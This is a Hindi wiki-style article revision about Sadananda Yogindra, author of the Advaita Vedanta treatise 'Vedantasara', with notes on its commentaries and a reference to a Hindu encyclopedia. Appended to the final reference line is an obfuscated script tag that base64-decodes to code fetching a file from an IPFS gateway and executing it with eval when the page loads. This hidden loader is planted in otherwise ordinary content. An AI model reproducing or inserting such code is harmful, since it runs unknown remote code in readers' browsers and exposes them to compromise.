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*इनकी रचना 'वेदांतसार' के ऊपर नृसिंह सरस्वती की 'सुबोधिनी' नामक [[टीका]] भी है, जिसका रचना काल [[शक संवत]] 1518 है। | *इनकी रचना 'वेदांतसार' के ऊपर नृसिंह सरस्वती की 'सुबोधिनी' नामक [[टीका]] भी है, जिसका रचना काल [[शक संवत]] 1518 है। |
11:14, 1 जून 2017 के समय का अवतरण
सदानन्द योगीन्द्र मध्यकालीन एक विद्वान, जिन्होंने 'वेदांतसार' नामक ग्रंथ की रचना की थी। इनका जीवन काल सोलहवीं शती का उत्तरार्ध माना जाता है।[1]
- इनकी रचना 'वेदांतसार' के ऊपर नृसिंह सरस्वती की 'सुबोधिनी' नामक टीका भी है, जिसका रचना काल शक संवत 1518 है।
- 'वेदांतसार' अद्वैतवेदांत का अत्यंत सरल प्रकरण ग्रंथ है। इस पर कई टीकाएँ लिखी जा चुकी हैं। इस ग्रंथ से मुमुक्षुओं का बहुत उपकार हुआ है।
- सदानन्द योगीन्द्र का एक ग्रंथ 'शंकरदिग्विजय' भी है, जो अभी नागराक्षरों में प्रकाशित नहीं है।
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टीका टिप्पणी और संदर्भ
- ↑ हिन्दू धर्मकोश |लेखक: डॉ. राजबली पाण्डेय |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 654 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>